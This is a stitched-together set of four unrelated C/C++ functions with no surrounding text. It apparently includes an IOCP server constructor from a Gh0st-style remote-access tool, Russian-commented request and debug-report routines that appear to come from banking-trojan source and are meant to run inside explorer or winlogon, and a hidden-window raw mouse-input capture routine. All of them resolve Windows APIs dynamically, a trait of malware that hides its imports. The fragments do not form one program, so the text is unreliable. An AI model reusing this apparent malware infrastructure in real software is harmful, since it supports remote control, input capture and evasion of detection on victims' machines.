//////////////////////////////////////////////////////////////////////////////// // // FUNCTION: CIOCPServer::CIOCPServer // // DESCRIPTION: C'tor initializes Winsock2 and miscelleanous events etc. // // INPUTS: // // NOTES: // // MODIFICATIONS: // // Name Date Version Comments // N T ALMOND 06042001 1.0 Origin // //////////////////////////////////////////////////////////////////////////////// CIOCPServer::CIOCPServer() { TRACE("CIOCPServer=%p\n",this); // WSADATA wsaData; WSAStartup(MAKEWORD(2,2), &wsaData); InitializeCriticalSectionT pInitializeCriticalSection=(InitializeCriticalSectionT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InitializeCriticalSection"); pInitializeCriticalSection(&m_cs); m_hThread = NULL; m_hKillEvent = CreateEvent(NULL, TRUE, FALSE, NULL); m_socListen = NULL; m_bTimeToKill = false; m_bDisconnectAll = false; m_hEvent = NULL; m_hCompletionPort= NULL; m_bInit = false; m_nCurrentThreads = 0; m_nBusyThreads = 0; m_nSendKbps = 0; m_nRecvKbps = 0; m_nMaxConnections = 10000; m_nKeepLiveTime = 1000 * 60 * 2; // 2分钟探测一次 // Packet Flag; BYTE bPacketFlag[] = {'K', 'u', 'G', 'o', 'u'}; memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag)); }
PRequestList Request::CreateList(TRequestEvent OnInitExtData, TRequestEvent OnFreeExtData) { // Создаёт список запросов PRequestList List = CreateStruct(TRequestList); if (List == NULL) return NULL; List->Lock = CreateStruct(RTL_CRITICAL_SECTION); pInitializeCriticalSection(List->Lock); List->Items = List::Create(); List::SetFreeItemMehod(List->Items, (TFreeItemMethod)FreeRequest); List::SetCapacity(List->Items, 128); List->OnInitializeExtData = OnInitExtData; List->OnFreeExtData = OnFreeExtData; return List; }
// Инициализация статических переменных модуля. // Должна вызыватся при старте до использования ф-ций модуля. void DebugReportInit() { DBGRPTDBG("DebugReportInit", "Start initialize debug reporting (DbgRptSettings=0x%X).", DbgRptSettings); pInitializeCriticalSection(&DbgRptCs); DbgRptSettingDefault.Enabled = false; DbgRptSettingDefault.StatPrefix = ""; DbgRptSettingDefault.StatUrl = ""; DbgRptSettings = &DbgRptSettingDefault; // Запускам процесс чтения настроек из реестра // Необходимо для применения в процессах, которые не выполняют команд (explorer, winlogon и тд) StartThread(DebugReportUpdateSettingsThread, NULL); }
static int init_event_queue(void) { HINSTANCE hInstance = pGetModuleHandleA(NULL); WNDCLASSEX wce; RAWINPUTDEVICE rid; ZeroMemory(input_events, sizeof (input_events)); input_events_read = input_events_write = 0; ZeroMemory(&wce, sizeof (wce)); wce.cbSize = sizeof(WNDCLASSEX); wce.lpfnWndProc = RawWndProc; wce.lpszClassName = class_name; wce.hInstance = hInstance; class_atom = pRegisterClassExA(&wce); if (class_atom == 0) return 0; raw_hwnd = pCreateWindowExA(0, class_name, win_name, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, HWND_MESSAGE, NULL, hInstance, NULL); if (raw_hwnd == NULL) return 0; pInitializeCriticalSection(&mutex); ZeroMemory(&rid, sizeof (rid)); rid.usUsagePage = 1; /* GenericDesktop page */ rid.usUsage = 2; /* GeneralDestop Mouse usage. */ rid.dwFlags = RIDEV_INPUTSINK; rid.hwndTarget = raw_hwnd; if (!pRegisterRawInputDevices(&rid, 1, sizeof (rid))) { pDeleteCriticalSection(&mutex); return 0; } /* if */ return 1; } /* init_event_queue */